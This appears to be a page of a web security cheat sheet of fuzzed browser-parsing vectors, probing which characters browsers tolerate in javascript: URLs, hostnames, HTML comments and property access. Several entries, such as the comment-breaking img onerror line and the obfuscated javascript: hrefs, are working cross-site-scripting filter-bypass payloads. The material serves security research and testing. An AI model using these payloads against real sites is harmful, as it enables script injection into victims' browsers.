Cheat Sheet
Generated payloads from fuzz test results. Filter by type, category, or browser.
Found 212 vectors with results
JavaScript allows you to conditionally call a function using optional chaining.
JavaScript allows you to conditionally call a function using optional chaining.
JavaScript allows you to conditionally call a function using optional chaining.
JavaScript allows you to conditionally call a function using optional chaining.
JavaScript allows you to conditionally call a function using optional chaining.
<a href="0x01javascript:test.com/" id="test"></a>Characters that can precede the javascript protocol in html
<a href="0x02javascript:test.com/" id="test"></a>Characters that can precede the javascript protocol in html
<a href="0x03javascript:test.com/" id="test"></a>Characters that can precede the javascript protocol in html
<a href="0x04javascript:test.com/" id="test"></a>Characters that can precede the javascript protocol in html
<a href="0x05javascript:test.com/" id="test"></a>Characters that can precede the javascript protocol in html
if (new URL("https://example.co" + String.fromCodePoint(9) + "m").hostname === 'example.com'){alert(9)}Checks what characters can be added in the middle of "example.com", while keeping the hostname "example.com"
if (new URL("https://example.co" + String.fromCodePoint(10) + "m").hostname === 'example.com'){alert(10)}Checks what characters can be added in the middle of "example.com", while keeping the hostname "example.com"
if (new URL("https://example.co" + String.fromCodePoint(13) + "m").hostname === 'example.com'){alert(13)}Checks what characters can be added in the middle of "example.com", while keeping the hostname "example.com"
if (new URL("https://example.co" + String.fromCodePoint(173) + "m").hostname === 'example.com'){alert(173)}Checks what characters can be added in the middle of "example.com", while keeping the hostname "example.com"
if (new URL("https://example.co" + String.fromCodePoint(847) + "m").hostname === 'example.com'){alert(847)}Checks what characters can be added in the middle of "example.com", while keeping the hostname "example.com"
if (new URL("https://example.com" + String.fromCodePoint(0)).hostname === 'example.com'){alert(0)}Checks what characters can be added at the end of "example.com", while keeping the hostname "example.com"
if (new URL("https://example.com" + String.fromCodePoint(1)).hostname === 'example.com'){alert(1)}Checks what characters can be added at the end of "example.com", while keeping the hostname "example.com"
if (new URL("https://example.com" + String.fromCodePoint(2)).hostname === 'example.com'){alert(2)}Checks what characters can be added at the end of "example.com", while keeping the hostname "example.com"
if (new URL("https://example.com" + String.fromCodePoint(3)).hostname === 'example.com'){alert(3)}Checks what characters can be added at the end of "example.com", while keeping the hostname "example.com"
if (new URL("https://example.com" + String.fromCodePoint(4)).hostname === 'example.com'){alert(4)}Checks what characters can be added at the end of "example.com", while keeping the hostname "example.com"
Characters that can be after the opening angle bracket and still form a valid HTML element
window⟦09⟧.alert();alert(9)List of characters allowed between an object and the dot operator located before the method/property.
window
.alert();alert(10)List of characters allowed between an object and the dot operator located before the method/property.
window0x0B.alert();alert(11)List of characters allowed between an object and the dot operator located before the method/property.
window0x0C.alert();alert(12)List of characters allowed between an object and the dot operator located before the method/property.
window
.alert();alert(13)List of characters allowed between an object and the dot operator located before the method/property.
<a id="0" href="j0x09avas0x09crip0x09t:window">craft-me</a><a id="0" href="j
avas
crip
t:window">craft-me</a><a id="0" href="j
avas
crip
t:window">craft-me</a><!--- ><xmp>--><img src/onerror=alert(45)>-->This vector shows what characters are allowed in-between hyphens of a HTML comment.
if (new URL("javascript0x09:alert()").protocol=="javascript:"){alert(9)}Vector to check if any characters are allowed between javascript and : to still result in a javascript url.
if (new URL("javascript::alert()").protocol=="javascript:"){alert(58)}Vector to check if any characters are allowed between javascript and : to still result in a javascript url.
if (new URL("javascript\:alert()").protocol=="javascript:"){alert(92)}Vector to check if any characters are allowed between javascript and : to still result in a javascript url.
I want to know which character after a slash is considered a slash and creates a protocol
I want to know which character after a slash is considered a slash and creates a protocol
This XSS vector shows what characters can be used before the onerror event.
This XSS vector shows what characters can be used before the onerror event.
This XSS vector shows what characters can be used before the onerror event.
This XSS vector shows what characters can be used before the onerror event.
This XSS vector shows what characters can be used before the onerror event.
Page 11 of 11